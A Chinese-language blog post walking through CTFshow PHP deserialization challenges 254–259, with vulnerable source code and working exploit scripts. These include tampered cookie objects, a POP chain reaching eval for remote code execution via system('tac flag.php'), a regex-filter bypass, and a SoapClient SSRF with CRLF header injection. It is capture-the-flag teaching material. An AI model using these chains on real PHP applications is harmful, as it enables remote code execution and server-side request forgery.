php 反序列化

php 反序列化

1.0序列化与反序列化

序列化:将对象转化为数组或者字符串形式

反序列化:将字符串或数组转化成对象格式

php与序列化和反序列化有关的函数

serialize() 将一个对象转化为一个字符串

unserialize() 将一个字符串转化为一个对象

我们使用序列化操作的目的是方便数据传输

1.1 漏洞产生原因

在php中存在魔术方法对对象进行一些操作,其他编程语言中也有类似的函数,比如构造函数或者析构函数之类,

如果我们对此类函数利用不当,就会有可能产生反序列化漏洞。

我们看一下serialize函数对对象处理的结果吧

O:8:"demotest":3{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man"'s:3"age";s:2:"29";}

O表示obiect 也就是对象 8表示类名有8个字符组成。后面的字符串表示类名 3表示字段数量,后面的s表示string

类型

1.2 ctfshow web 254

没啥技术含量,甚至都和反序列化无关,直接阅读代码按代码逻辑就能获得flag

1.3 ctfshow web 255

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

和上一题有了一点区别

我们先用serialize函数去输出一个该类的序列化结果:O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;}

我们需要注意的是,发现整个检测代码中没有更改isVip的值的过程,所以我们需要手动对序列化后isVip的值进行

更改,以便通过检测,具体的更改就是将最后的0改为1

O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;}

需要注意的是,我们通过cookie传递数据时需要预先进行url编码,编码后可以在浏览器中写入cookie,也可也抓

包然后在header中写入cookie

我们先采用第二种方式来构造payload:

Cookie : user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

1.4 ctfshow web 256

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

和上一题没什么区别,只不过是要求username 和password的值不能相等罢了

<?php
class ctfShowUser
{
    public $username = '111';
    public $password = '222';
    public $isVip = true;

    public function checkVip()
    {
        return $this->isVip;
    }
    public function login($u, $p)
    {
        return $this->username === $u && $this->password === $p;
    }
    public function vipOneKeyGetFlag()
    {
        if ($this->isVip) {
            global $flag;
            echo "your flag is " . $flag;
        } else {
            echo "no vip, no flag";
        }
    }
}
$a = new ctfShowUser();
echo serialize($a);
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22bbb%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

获得序列化的对象:O:11:"ctfShowUser":3:{s:8:"username";s:3:"111";s:8:"password";s:3:"222";s:5:"isVip";b:1;}

进行url编码:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22111%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

然后在cookie中以user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22111%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

的形式发送数据包即可获得flag

ctfshow web 257

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

和之前的题有了较大的差别,第一时间似乎没什么思路,但是我们看见了eval函数,考虑rce,仔细观察整个代

码,发现存在一条利用链,ctfShowUser类中析构方法可以调用class属性的getInfo()方法,我们让class属性变为

一个对象即可调用该对象的getInfo()方法,下面两个类都有getInfo()方法,但我们想要实现rce只能去使用

backDoor类的方法,然后我们更改code值,就可以实现rce。

根据此原理我们可以写出exp:

<?php
class ctfShowUser
{
    private $class;
    public function __construct()
    {
        $this->class = new backDoor();
    }
}
class backDoor
{
    public $code = "eval(\$_GET['a']);";
}
$a = new ctfShowUser();
echo serialize($a);

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22eval%28%24_GET%5B%27a%27%5D%29%3B%22%3B%7D%7D

获得获得序列化后的对象,传入cookie后在url中传入username password 和a,前两者都无所谓,通过控制第三

者,传入a=system('tac flag.php');从而获得flag

这里需要强调的一点:直接给code传入"$_GET['a']"是不行的,因为存在$使其会被解析为变量

如果我们进行转义\$_GET['a']则在代码处遇到第一次eval进行解析,只会单纯解析为字符串,并不会当成代码

去解析,我们在exp这样传入eval(\$_GET['a']); 再加上一个eval,使得其对\$_GET['a']进行二次解析,第

一次将其解析为字符串$_GET['a'],第二次将其作为可执行代码进行执行,从而达到代码执行的效果。

ctfshow web 258

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

本题的过滤进行了加强,对该正则表达式的内容进行了过滤:/[oc]:\d+:/i

  1. 字符类 [oc]: 方括号 [] 定义了一个字符类,表示匹配其中任何一个字符。这里的字符类包含两个字符:oc。因此,这个部分会匹配字符串中出现的 oc
  2. 冒号 : 字符 : 在正则表达式中作为一个普通字符出现,直接匹配字符串中的冒号。
  3. \d+\d 是一个元字符,代表任何十进制数字(相当于 [0-9])。+ 是一个量词,表示前面的元素(这里是 \d)至少出现一次,可以连续出现多次。因此,\d+ 会匹配一个或多个连续的数字。

但在php中,对于序列化后的串中都含有字符+:+数字,之前的串就无法顺利使用,这时候应该怎么办呢?

在php中还有个特性,那就是在序列化后的串,比如O:8:部分,在数字前加+不会影响解析,因此本题就有了绕

过方式,即在序列化后的字符串中,匹配:加数字的形式,然后在数字前加+进行替换,之后再进行url编码即可,

其余部分和上一题一样

给出exp:

<?php
class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code="eval(\$_GET['a']);";
}
$ctf=serialize(new ctfShowUser());
$ctf=str_replace('O:', 'O:+',$ctf);
echo $ctf;
echo urlencode($ctf);

但需要注意,本题类中字段的访问修饰符发生变换,由private变为public,如果同一个对象,拥有相同的字段,

但字段的访问修饰符不同,序列化后的结果也会不同,所以本题的exp和之前有区别,这需要注意。

ctfshow web 259

本题目录下有两文件 index.php有:

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php有:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

先对flag.php的一些内容进行解释,exoloade是一个分割字符串的函数,用法为:explode(字符,被分割的字符

串), 会将第二个参数传入的字符串以第一个传入的参数为分割符,分割成好几部分,然后返回一个存储分割后

的结果的数组,HTTP_X_FORWARDED_FOR存储了从客户段上传输数据过来的一个个代理转发节点的ip

我们的目的是让flag.php将flag写入flag.txt。所以我们就要去绕过其检测,最关键的是绕过

HTTP_X_FORWARDED_FOR的检测,试着改下HTTP_X_FORWARDED_FOR去访问,发现不行,应为使用了

Cloudflare,伪造无效,我们再观察index.php文件,发现其调用了一个不存在的方法getFlag()这时候就可以考虑使

用php原生类进行ssrf了

本题需要用到php原生类,php原生类就是php自带的类,不需要用户去定义就能直接使用,但想要使用php原生

类必须先再php.ini中将其打开,本题是默认打开的。

我们这里学习一下这篇博客:这个

<?php
$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php'));
$client->AAA();
?>

对于内置类SoapClient的构造函数:

第一个参数 :$wsdl: 必须参数,指定 SOAP 服务的 WSDL(Web Services Description Language,Web 服务

描述语言)文档的 URL。WSDL 文件定义了服务的接口、操作、数据类型等信息,使客户端能够自动发现并使用

服务提供的功能。如果提供有效的 WSDL 地址,SoapClient 将基于 WSDL 自动构建请求并解析响应。

第二个参数中uri用于指定服务的命名空间(namespace)或服务的基 URI(base URI)

location用于对其发起请求,利用此参数来进行ssrf操作,访问flag.php

我们对本地进行9999端口监听,查看一下header:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.0.12
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372

我们可以通过控制user-agent来构造post数据

我们再进一步

<?php

$ua="test\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";

$client=new SoapClient(null,array('uri'=>'127.0.0.1','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));

echo urlencode(serialize($client));
?>

我们为什么要指定文件类型是application/x-www-form-urlencoded呢?因为该类型下数据是以键值对形式提交

的,符合我们要求,至于后面的长度限制,则是为了使得服务器忽略后面的内容,只保留token的值。

看一下:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: test
X-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1//因为本地没加函数
Content-Type:application/x-www-form-urlencoded
Content-Length: 13

token=ctfshow//长度13 下面的丢弃
Content-Type: text/xml; charset=utf-8
SOAPAction: "127.0.0.1#AAA"
Content-Length: 372

符合预期,然后我们只需要序列化然后将构造的对象传入即可

posted @ 2024-04-25 01:14  折翼的小鸟先生  阅读(318)  评论(0编辑  收藏  举报